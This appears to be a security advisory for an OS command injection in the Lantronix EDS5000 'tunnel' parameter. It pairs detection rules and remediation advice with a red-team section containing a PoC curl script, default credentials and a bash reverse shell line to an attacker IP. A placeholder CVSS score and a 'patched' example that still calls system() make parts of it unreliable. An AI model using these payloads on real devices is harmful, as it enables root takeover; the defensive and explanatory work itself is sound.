CVE-2025-67037

Executive Summary

CVE-2025-67037 is a critical OS command injection vulnerability discovered in the Lantronix EDS5000 device running firmware version 2.1.0.0R3. An authenticated attacker can inject arbitrary OS commands into the "tunnel" parameter when killing a tunnel connection. These injected commands are executed with root privileges, leading to full device compromise. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the root-level impact.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker must have valid credentials to the device.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full read access to the device.
• Integrity (I): High (H) – Full write access to the device.
• Availability (A): High (H) – Full control over device availability.

Threat Level: Critical. Root-level command injection allows complete takeover of the device.

Deep Dive & Mechanics

The vulnerability resides in the web interface of the Lantronix EDS5000, specifically in the functionality that allows an authenticated user to kill an active tunnel connection. The "tunnel" parameter is passed to a system command without proper sanitization or escaping. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The application uses a function similar to system() or exec() to kill the tunnel, directly concatenating user input into the command string. For example:

kill_tunnel(tunnel_id)

becomes:

system("kill -9 " + tunnel_id)

If tunnel_id is 123; id, the command becomes:

kill -9 123; id

The id command is executed with root privileges.

Attack Flow:

1. Attacker authenticates to the web interface.
2. Attacker navigates to the tunnel management page.
3. Attacker sends a crafted POST/GET request with a malicious "tunnel" parameter.
4. The server executes the injected command as root.
5. Attacker gains remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void kill_tunnel(char *tunnel_id) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "kill -9 %s", tunnel_id);
    system(cmd);
}

Patched Code (Conceptual):

void kill_tunnel(char *tunnel_id) {
    // Validate that tunnel_id is a numeric value
    if (!is_numeric(tunnel_id)) {
        log_error("Invalid tunnel ID");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "kill -9 %s", tunnel_id);
    system(cmd);
}

The patched version validates that the input is strictly numeric before passing it to the system command.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Lantronix EDS5000 with firmware 2.1.0.0R3
• Attacker: Kali Linux with Burp Suite or netcat

Exploitation Steps:

1. Authenticate to the device (e.g., admin:admin).
2. Identify the tunnel kill endpoint (e.g., /kill_tunnel.cgi).
3. Craft a POST request with a malicious tunnel parameter:

   POST /kill_tunnel.cgi HTTP/1.1
   Host: 192.168.1.100
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=valid_session
   
   tunnel=123;id
   

4. Observe the output (if reflected) or use a reverse shell:

   tunnel=123;bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1'
   

5. Receive the reverse shell on your listener.

Proof of Concept (PoC):

#!/bin/bash
# PoC for CVE-2025-67037
TARGET="192.168.1.100"
USER="admin"
PASS="admin"
SESSION=$(curl -s -c - "http://$TARGET/login.cgi" -d "user=$USER&pass=$PASS" | grep session | awk '{print $NF}')
curl -s "http://$TARGET/kill_tunnel.cgi" -b "session=$SESSION" -d "tunnel=123;id"

Blue Team

Detection:

• Monitor for unusual HTTP requests to /kill_tunnel.cgi with non-numeric tunnel parameters.
• Look for shell metacharacters (;, |, &, $, `) in POST data.
• Alert on commands like id, whoami, bash, nc, python in the tunnel parameter.

Hunting:

• Search logs for tunnel= followed by non-numeric characters.
• Correlate with authentication logs to identify the attacker's session.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /kill_tunnel.cgi with tunnel= containing shell metacharacters.
  • Outbound connections from the device to attacker IPs on common ports (4444, 8080, etc.).
• Host:
  • Unexpected processes running as root (e.g., reverse shells).
  • Modified system binaries or configuration files.
  • New cron jobs or startup scripts.
• Logs:
  • Web server logs showing tunnel=123;id or similar.
  • System logs showing execution of kill -9 with unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2025_67037_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Lantronix EDS5000 tunnel parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67037"
    strings:
        $injection1 = /tunnel=[0-9]*[;&|`$]/
        $injection2 = /tunnel=[0-9]*\s+/
        $cmd1 = "id"
        $cmd2 = "bash"
        $cmd3 = "nc"
        $cmd4 = "python"
    condition:
        any of ($injection*) and any of ($cmd*)
}

Sigma Rule

title: Lantronix EDS5000 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-67037 via tunnel parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/kill_tunnel.cgi'
        cs-uri-query|contains: 'tunnel='
    filter:
        cs-uri-query|re: 'tunnel=[0-9]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate numeric tunnel IDs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67037 Lantronix EDS5000 Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/kill_tunnel.cgi"; http_uri; content:"tunnel="; http_client_body; pcre:"/tunnel=[0-9]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management if not required.
2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
3. Change default credentials and enforce strong passwords.
4. Monitor logs for suspicious activity.

Long-term Fix:

• Apply vendor patch when available.
• Implement input validation (numeric only) for the tunnel parameter.
• Use parameterized commands or avoid shell execution entirely.

Workaround:

• If patching is not possible, consider placing the device behind a VPN or using a reverse proxy with WAF rules to block injection attempts.

Valters IT